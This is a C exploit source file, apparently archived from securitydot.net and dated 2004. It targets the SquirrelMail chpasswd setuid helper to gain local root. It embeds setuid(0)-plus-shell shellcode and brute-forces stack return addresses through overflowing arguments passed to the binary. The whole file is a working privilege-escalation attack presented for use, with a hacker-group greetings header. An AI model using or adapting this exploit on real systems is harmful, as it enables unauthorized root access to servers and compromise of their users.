/*
** PST_chpasswd_exp-v_b.c:
**
** Squirrelmail chpasswd local root bruteforce exploit
** Author:
** Bytes<Bytes[at]ph4nt0m.net> || <Bytes[at]ph4nt0m.org>
** www ph4nt0m net
** Notice:
** v_b: Local bruteforce version
** v_R: remote bruteforce version
**
**
** Greatze: #ph4nt0m,#music@0x557
** All PST member,Grip2,Airsupply,Jambalaya,Ann,Paul,Happy...
** Thax: My GF(Luz),Oyxin,Winewind,Envymask,Eong,luoluo,GoGo(f0r ever)...
**
**
** -=-=-=-=-=-=-=-=-=-= !!![+PH4NT0M TEAM PRIVATE EXPLOIT+]!!!
=-=-=-=-=-=-=-=-=-=-
**
** Date: 2004-04 # DO NOT DISTRIBUTE #
**
** You Must get account belong to Webmaster ,www or other webserver
groups.
**
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>
#define NOP 0x90
#define Fuckpr0 "./chpasswd" /* you need modify it by yourself
*/
#define LOOP 2000 /* loop of bruteforce */
/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */
char shellcode[]
="\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
unsigned long get_esp() {
__asm__ ("movl %esp,%eax");
}
void *M_malloc(size_t size){
register void *value;
value = malloc(size);
if(value == NULL){
printf("ERROR:virtual memory exhausted...\n");
exit(-1);
}
return value;
}
int main(void){
unsigned long ret_addr;
int i,j=0,offset=2,status;
char *buf1,*buf2;
pid_t pid;
ret_addr = get_esp() - strlen(Fuckpr0) - strlen(shellcode);
printf("\t-------------------------------------------------------\n");
printf("\t Squirrelmail chpasswd local root bruteforce exploit
\n");
printf("\t code By Bytes<Bytes[at]ph4nt0m.org> 2004 \n");
printf("\t http://www.ph4nt0m.net \n");
printf("\t#######################################################\n");
sleep(1);
printf("[+] Bruteforce......\n\n");
sleep(2);
buf1 = (char *)M_malloc(150);
buf2 = (char *)M_malloc(600);
while(j <= LOOP){
if((pid = fork()) == 0){
memset(buf2,0x90,sizeof(buf2) - strlen(shellcode) - 8);
memcpy(buf2 + sizeof(buf2) - strlen(shellcode) -
8,shellcode,sizeof(shellcode));
for(i=0; i < 150; i+=4){
*((unsigned long *)(buf1+i)) = ret_addr;
}
printf("buf1 = %s\n",buf1);
execl(Fuckpr0,"chpasswd",buf1,buf2,0);
}
wait(&status);
printf("[-] Signal: #%i\n", status);
if(WIFEXITED(status) != 0 ) {
printf("[=] Step.%i: 0x%x\n[~] Exiting...\n",(j/2),ret_addr);
exit(1);
}else{
ret_addr += offset;
j += offset;
printf("[=] Offset:%d Use ret:0x%x\n",j, ret_addr);
}
}
free(buf1);
free(buf2);
return 1;
}
securitydot.net - 2004-08-24
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